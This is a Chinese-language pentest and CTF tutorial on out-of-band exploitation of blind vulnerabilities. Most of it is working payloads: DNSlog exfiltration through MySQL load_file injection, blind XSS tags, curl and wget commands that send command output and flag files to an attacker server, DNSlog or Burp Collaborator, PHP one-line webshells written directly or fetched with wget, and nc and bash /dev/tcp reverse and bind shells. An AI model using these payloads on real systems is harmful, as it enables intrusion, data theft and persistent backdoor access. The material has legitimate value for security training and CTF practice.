前言
在渗透或者ctf中,我们可能会遇到一些没有回显的漏洞,这个时候可以通过dnslog来判断存不存在漏洞,并且得到漏洞执行的结果。
什么是Dnslog
dns是在我们输入一个域名如A.com时,会通过DNS把域名解析为ip,靠着dns解析到真正的ip地址127.0.0.1,这样子才能访问127.0.0.1服务器上的相应服务。
那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。
可以通过这篇文章好好理解一下dns的解析过程域名分级与域名解析过程(DNS)_Andy Tools-CSDN博客_域名服务器分级
Dnslog的原理
当我们访问某个站点如www.cloudcrowd.com.cn时,dns的解析过程如图:
其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。
Dnslog工具
可以自己搭一个dnslog,但是我比较懒,会直接使用在线的平台。
SQL盲注回显
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com
这样的URL发起请求。
利用条件
当前站点为root权限,因为一般情况下root才能使用load_file
secure_file_priv为空
当前站点的服务器为windows
为什么要求当前站点服务器为windows呢?这里就涉及到Windows的一个东西——UNC路径
UNC路径
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
\\abc.xxx\test
因为load_file要通过UNC路径来向域名发起请求带出数据,而linux服务器没有这个东西,所以才有这个限制。
利用方式
借别人的图先来看一下在mysql的基本用法,直接在mysql执行:
select load_file('\\\\requests.xxxx.ceye.io\\aa');
需要用4个\的原因是,要对\进行转义,每一个\转义一个\,所以就有了四个\。
查看dnslog
这是最基本的用法,看下在盲注的实战中的用法:
payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+
利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog
可以看到库名已经被带出。
无回显的XSS
直接把payload放到可能存在xss的地方,再查看dnslog平台
<img src=http://hf8r67.dnslog.cn>
<script src=http://XSS.XXXXX.ceye.io></script>
SSRF
无回显的命令执行
在不确定是否存在命令执行的漏洞时,可以通过ping、curl命令结合dnslog来判断。
linux系统:
ping `whoami`.xx.xeye.io
curl `whoami`.xx.xeye.io
``是shell_exec的符号表示,根据语法会先执行whoami这个命令,并将`whoami`替换为结果,再执行整个的curl命令。
windows系统:
ping %USERNAME%.xx.ceye.io
curl %USERNAME%.xx.ceye.io
利用方法
一、执行命令
利用条件:
需要站点目录具有写的权限
利用现成的环境,如ctfshow命令执行web42,假设这是一个没有回显的命令执行,先看一下利用方式。
因为直接传c=ls的话,后面的会把结果给吞掉,所以得通过ls;1来执行两条命令,具体的话可以看一下我另一篇文章里面有详细说明。
1、利用>或>>
在无回显且站点目录具有写的权限的情况下,可以将命令执行后的结果输出到文件中。
ls>1.txt;1
ls>>1.txt;1
接着访问1.txt可以得到命令执行的结果
接着可以直接cat flag.php>2.txt;1来得到flag。
2、利用cp、mv命令
可以利用复制和重命名命令来得到文件,但是这个有个弊端,就是不能通过这个来这个目录下的文件名。
cp flag.php flag.txt
mv flag.php flag.txt
3、利用tar、zip命令
#将flag.php打包
tar cvf flag.tar flag.php
#将flag.php打包并压缩
tar zcvf flag.tar.gz flag.php
#将flag.php压缩成flag.zip
zip flag.zip flag.php
二、写webshell(直接写入或者外部下载webshell)
1、直接写webshell
利用条件:
当前站点目录具有写入权限
echo '<?php eval($_POST[1]);?>' >webshell.php
# Jzw/cGhwIGV2YWwoJF9QT1NUWzFdKTs/Pic= 等于'<?php eval($_POST[1]);?>'
echo Jzw/cGhwIGV2YWwoJF9QT1NUWzFdKTs/Pic= |base64 -d >webshell.php
后面这个payload的效果是下图,虽然在shell.php里面的一句话木马有单引号,但是不影响php代码执行。
如果是直接对<?php eval($_POST[1]);?>进行base64编码,那么解码后写到webshell.php会少一段代码,导致无法成功写shell,像下面这样。
2、外部下载webshell
利用条件:
目标服务器能连接外网,且能执行wget命令
利用方式:
wget 服务器ip/1.txt -O webshell.php
上面那个payload解释一下,通过wget下载服务器上的1.txt到当前目录下,wget xxx -O是重命名1.txt为webshell.php,如果是不用-O的话是直接下载到当前目录下。所以得先在服务器的1.txt文件中写好一句话木马,下载后重命名后就是我们的webshell。
这里注意!!!
如果直接准备一个含有一句话木马的php,“ wget 服务器ip/1.php” 命令执行后,下载1.php到当前目录,当前目录的1.php里面是不会有任何内容的。因为如果下载的是php文件,下载的东西只会是这个php文件执行的结果。这里存放一句话木马执行的php文件执行结果为空,所以下载到当前目录的1.php文件是空的。
来做个实验验证一下吧,我在服务器的1.php里面写 <?php echo 520;?>,通过上面的结论可以得到下载到当前目录的1.php里面是执行结果,就是520。
这里我已经通过蚁剑连接后门了,回到存在命令执行的地方再执行一下下载命令:wget 服务器ip/1.php。
直接来蚁剑查看结果,发现确实是这样,就是你后面通过-O来重命名,结果也是一样的。
三、带出数据
测试环境为:ctfshow命令执行42
利用条件:
需要目标服务器可以向公网发起http请求
1、带出数据到vps上
先在服务器上构造一个接收脚本ls.php
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data); fclose($f);
?>
再构造payload,在漏洞处执行
curl http://服务器ip/ls.php?data=`cat flag.php|base64`
wget http://服务器ip/ls.php?data=`cat flag.php|base64`
不对得到的结果进行base64编码可能带不出数据,得到数据后会在同一目录下生成flag.txt。这种方式的弊端是带出的数据是有限的,我们看一下正常的flag文件。
再看一下经过base64解码后的数据,明显发现少了很多,所以说这种方式带出的数据有限。
2、带出数据到dnslog平台
直接在命令执行处打payload就行了
curl `ls|base64`.xxx.xeye.io
curl xxx.xeye.io/`ls|base64`
curl `cat flag.php`.xxx.xeye.io
curl xx.xeye.io/`cat flag.php|base64`
下面是对各种payload的解释,以及各种坑。
这是flag.php的内容,挺多的。
第一种payload:
curl `ls`.xxx.xeye.io
这种方式得到的ls结果是只有第一个文件名,因为ls获取的结果为1.php 2.php这种,文件名与文件名间会有空格,结果变成curl 1.php 2.php.xx.xeye.io,导致只能带出2.php,下面是结果展示图。
这个时候加个base64编码就可以带出大部分结果了,因为curl带出数据有限,在文件比较多的情况下,还是不能带出所有文件。
第二种payload:
curl xxx.xeye.io/`ls`
这个时候如果不加base64编码,命令执行后就变成 curl xxx.xeye.io/1.php 2.php,这个时候只能带出第一个文件名。
同样的得加个base64编码获取大部分结果。
第三种payload:
curl `cat flag.php`.xxx.xeye.io
这种payload得到的结果不全,也是获得后面连在一起的结果而已。
这种情况你加个base64编码的话,是执行不了的,经过测试具体原因是因为base64编码后,flag.php里面数据太多导致curl直接摆烂,连一部分都不传了。
第四种payload:
curl xx.xeye.io/`cat flag.php|base64`
这种情况就很神奇,在flag.php文件字节比较多情况下,直接cat flag.php不加base64编码是不会执行的,curl也直接摆烂,md直接不传了。
但是我通过一直写文件,堆了很多文件在当前目录下,来看看有多少。
我直接curl xx.xeye.io/`ls`还是可以得到第一个文件的,没摆烂,确实有点不解。可能ls和cat的返回形式不一样吧..................
3、带数据到burpsuit软件
上传到服务器、带到dnslog都有一定的弊端,而且可能会玄学......带到burpsuit软件里面,功能更稳定,只能说上面两种有的它都有,没有的也有,bp可以直接带出文件全内容。
在这里打开Burp Collaborator client
然后点击复制地址
利用方式:
curl -X POST -F aa=`ls|base64` cfvdunp5l66qvcpzrvduwbueh5n1bq.burpcollaborator.net
curl -X POST -F aa=@flag.php cfvdunp5l66qvcpzrvduwbueh5n1bq.burpcollaborator.net
解释一下payload:
-X POST是为http数据包指定POST方法
-F 是以带文件的形式发送POST请求
aa是上传文件的name值,可以随便改,flag.php是要上传的文件
flag.php前面的@是文件标识符,代表上传的是个文件,如果去掉了,在bp响应中看到的只是flag.php这个名字而已,而不是flag.php的内容
其中@可以将其去掉,结合`ls|base64`同样可以上传命令执行返回的结果
参考一下这篇curl学习的博客理解吧学习笔记之 curl 命令用法详解 - Leone- - 博客园
最后来看一下效果,这是第一个payload的返回结果,要点一下Poll now才会刷新,直接点http的就是了。
这是第二个payload的执行结果,可以看到flag.php的所有内容都返回了。
四、反弹shell
1、正向弹shell
利用条件:
要求目标服务器有nc、bash命令,同时得知道目标服务器的ip
利用方式:
在命令执行处
nc -lvvp 8888 -e /bin/bash
在自己的服务器上
nc 目标服务器ip 8888
2、反向弹shell
利用条件:
要求目标服务器有bash命令,nc命令的话得看你用的payload需不需要
在自己服务器上监听8888端口
nc -lvnp 8888
在system类命令执行处
nc -e /bin/bash 服务器ip 8888
bash -i >& /dev/tcp/服务器ip/8888 0>&1
echo bash -i >& /dev/tcp/服务器ip/8888 0>&1 | bash
第一个payload因为没有&可以直接执行,第二三个payload因为里面有&这个符号,在php中有特殊含义,所以得对payload进行url全编码,再放到命令执行处执行.......也可以直接对&这个进行编码
参考文章
https://xz.aliyun.com/t/8125#toc-2
使用DNSLOG拯救你的盲打盲注 - FreeBuf网络安全行业门户
DNSlog注入学习 - Lushun - 博客园 (cnblogs.com)